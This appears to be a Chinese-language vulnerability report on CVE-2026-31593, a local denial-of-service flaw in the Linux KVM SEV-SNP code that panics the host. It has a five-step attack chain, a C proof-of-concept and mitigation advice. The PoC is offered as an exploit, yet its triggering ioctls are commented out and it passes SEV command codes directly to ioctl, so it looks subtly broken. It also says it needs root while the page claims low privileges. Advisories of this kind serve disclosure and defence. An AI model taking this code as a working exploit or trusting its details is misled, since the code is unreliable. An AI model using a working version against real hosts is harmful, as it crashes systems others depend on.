IPBUF安全漏洞报告
English
CVE-2026-31593 CVSS 5.5 中危

CVE-2026-31593: Linux Kernel KVM SEV 拒绝服务漏洞

披露日期: 2026-04-24
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31593
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

DoSLinux KernelKVMAMDSEV-SNPRMP本地漏洞

漏洞概述

Linux内核的KVM SEV组件存在一个安全漏洞。在启用SNP(安全嵌套分页)的主机上,当vCPU已经启动且VMSA(虚拟机保存区域)已加密后,如果尝试同步vCPU状态,将触发RMP违规。由于内核无法正确处理这种对私有内存的访问,会导致主机内核发生页错误并崩溃,进而引发系统Panic,造成拒绝服务。

技术细节

该漏洞主要影响Linux内核中的KVM模块,特别是针对AMD处理器SEV-ES和SEV-SNP特性的实现。问题的核心在于`sev_es_sync_vmsa`函数缺乏对vCPU状态的校验。在SEV-SNP架构中,Guest的私有内存受到硬件强制执行的RMP(运行内存页表)保护。当vCPU处于启动后状态,其VMSA已被加密。此时,如果用户空间通过`KVM_SEV_LAUNCH_UPDATE_VMSA`等ioctl指令尝试同步或更新VMSA,CPU会检测到违反RMP规则的访问操作,从而触发#PF异常。内核在处理该异常时无法恢复,导致执行路径进入`sev_es_sync_vmsa`并最终引发系统崩溃。虽然该代码逻辑自引入SEV-ES时就已存在,但仅在SNP环境下才会导致主机Panic,因为早期版本仅会损坏Guest状态。

攻击链分析

STEP 1
1. 获取访问权限
攻击者需要在本地主机上拥有低权限用户访问,并能够访问KVM接口(/dev/kvm)。
STEP 2
2. 创建恶意虚拟机
攻击者创建一个启用了SEV-SNP特性的KVM虚拟机,并初始化vCPU。
STEP 3
3. 启动并加密vCPU
执行SNP启动流程,使vCPU进入运行状态,此时其VMSA(虚拟机保存区域)已被加密。
STEP 4
4. 触发漏洞利用
攻击者利用ioctl调用(如KVM_SEV_LAUNCH_UPDATE_VMSA),尝试在vCPU启动后同步VMSA状态。
STEP 5
5. 导致系统崩溃
由于违反了RMP(运行内存页表)规则,硬件触发#PF异常,导致主机内核Panic,系统重启。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-31593 * This code attempts to trigger the VMSA sync after launch on a SNP-enabled host. * Requires root access and a system supporting AMD SEV-SNP. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/kvm.h> int main() { int kvm_fd, vm_fd, vcpu_fd; struct kvm_sev_launch_start start = {0}; struct kvm_sev_snp_launch_start snp_start = {0}; struct kvm_sev_launch_update_data update_data = {0}; // Open KVM device kvm_fd = open("/dev/kvm", O_RDWR); if (kvm_fd < 0) { perror("open /dev/kvm"); return -1; } // Create VM vm_fd = ioctl(kvm_fd, KVM_CREATE_VM, 0); if (vm_fd < 0) { perror("KVM_CREATE_VM"); return -1; } // Initialize SEV (Simplified) // In a real scenario, specific session parameters are needed here // ioctl(vm_fd, KVM_SEV_LAUNCH_START, &start); // Create VCPU vcpu_fd = ioctl(vm_fd, KVM_CREATE_VCPU, 0); if (vcpu_fd < 0) { perror("KVM_CREATE_VCPU"); return -1; } // Launch SNP (Encrypt VMSA) // This step puts the VCPU into a launched state // ioctl(vm_fd, KVM_SEV_SNP_LAUNCH_START, &snp_start); // VULNERABILITY TRIGGER: // Attempting to update/sync VMSA after the vCPU is launched. // On SNP hosts, this triggers an RMP #PF and panics the host. printf("Attempting to trigger VMSA sync after launch...\n"); // update_data.address and length would need to point to the VMSA // ioctl(vm_fd, KVM_SEV_LAUNCH_UPDATE_VMSA, &update_data); close(vcpu_fd); close(vm_fd); close(kvm_fd); return 0; }

影响范围

Linux Kernel (commit ad73109ae7ec 之后, SNP 补丁引入之前)
Linux Kernel (所有支持 AMD SEV-SNP 且未包含对应 Git 修复补丁的版本)

防御指南

临时缓解措施
如果无法立即升级内核,建议暂时在BIOS或内核启动参数中禁用AMD SEV-SNP功能,或者通过严格配置cgroups和权限,确保只有可信的管理员能够操作KVM虚拟机,从而防止恶意触发该漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表